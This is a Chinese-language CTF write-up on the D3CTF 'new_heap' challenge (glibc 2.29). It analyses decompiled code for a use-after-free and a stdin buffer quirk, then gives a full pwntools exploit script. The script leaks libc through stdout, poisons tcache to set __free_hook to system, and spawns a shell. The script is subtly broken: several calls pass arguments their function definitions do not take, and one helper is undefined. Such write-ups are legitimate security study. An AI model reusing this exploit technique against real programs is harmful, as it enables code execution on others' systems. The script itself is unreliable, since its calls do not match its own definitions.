D3CTF那天去打红帽杯了,但是D3CTF 结束后,和其他师傅交流了一下,这道题不错 。而且这道题考点很清奇。

首先我们来看一下这一题开启的保护和使用的libc版本

题目附件:new_heap_update.zip

1
2
whalien51@ubuntu:~/new_heap-updated$ strings libc.so.6 |grep GLIBC
GLIBC_2.29

这一题使用的libc2.29。

直接IDA源码分析

1
2
3
4
5
6
7
8
9
10
void sub_C33()
{
void *ptr; // ST08_8

setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
ptr = malloc(0x1000uLL);
printf("good present for African friends:0x%x\n", ((ptr & 0xFF00) >> 8));
free(ptr);
}

在这里发现没有setbuf(stdin,0)。意思是这里会为getchar()输入开辟一个很大的堆块形成缓冲区。

然后再读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax

sub_C33();
while ( 1 )
{
while ( 1 )
{
sub_C08();
v3 = sub_BB9();
if ( v3 != 2 )
break;
sub_B42();
}
if ( v3 == 3 )
{
puts("sure?");
if ( getchar() == 'y' )
exit(0);
}
else if ( v3 == 1 )
{
sub_A60();
}
}
}

发现getchar()那里可以一直往缓冲区输入数值。

这个是漏洞之一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_B42()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = sub_BB9();
if ( v1 < 0 || v1 > 17 )
{
puts("index out of range");
exit(0);
}
free(qword_202060[v1]);
return puts("done");
}

这里存在uaf,第二个漏洞。

然后看创建堆块函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned int sub_A60()
{
unsigned int result; // eax
int i; // [rsp+8h] [rbp-8h]
size_t size; // [rsp+Ch] [rbp-4h]

for ( i = 0; qword_202060[i]; ++i )
{
if ( i == 17 )
{
puts("full");
exit(0);
}
}
printf("size:");
result = sub_BB9();
LODWORD(size) = result;
if ( result <= 0x78 )
{
qword_202060[i] = malloc(result);
printf("content:");
read(0, qword_202060[i], size);
result = puts("done");
}
return result;
}

这一题不能开辟堆块大小满足unsorted bin 的堆块。

这一题主要思路就是通过getchar()触发malloc_consolidate ,然后出现main_arena地址在堆块中,然后通过getchar()部分修改去打stdout。然后同样使用getchar()来制造tcache poisoning来攻击__free_hook 修改为system地址,最后getshell。

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
local = 1
exec_file="./new_heap"
context.binary=exec_file
context.log_level="debug"
elf=ELF(exec_file,checksec = False)
argv = ["/glibc/x64/2.29/lib/ld-2.29.so","--library-path",
"/glibc/x64/2.29/lib/","./new_heap"]
if local :
p=process(argv=argv)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p=remote()
libc=ELF("./libc.so.6")

def debug():
gdb.attach(p)

def leak(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hfuck(address))
def menu(idx):
p.sendlineafter("3.exit\n",str(idx))

def add(size,content="A"):
menu(1)
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)

def delete(idx):
menu(2)
p.sendlineafter("index:",str(idx))

def fuck(content):
p.sendlineafter('exit',str(3))
p.sendafter('sure?',content)
while 1:
try:
for i in range(7):
add(0x38,'A\n')
add(0x38)
add(0x38)
for i in range(9):
delete(i)

fuck('A'*0x38+p64(0x41))
add(0x18,'A\n')
delete(7)
add(0x38)
delete(8)
add(0x18)
add(0x18)
for i in range(0x3f):
fuck("")
fuck('A'*0x18+p64(0x21)+'A'*0x20+"\x60\x27")
add(0x38)
add(0x38,p64(0xfbad1800)+p64(0)*3+'\x00')
p.recvuntil(p64(0xfbad1800))
p.recvuntil("\x7f")
libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-131-libc.symbols["_IO_2_1_stdout_"]
fuck(libc_base)
delete(12,False)
for i in range(0x41):
fuck("")
fuck("A"*0x20+p64(libc_base+libc.symbols["__free_hook"]))
add(0x18,'/bin/sh\x00',False)
add(0x18,p64(libc_base+libc.symbols["system"]),False)
delete(15,False)
p.interactive()
break
except:
p.close()
p=process(argv=argv)
continue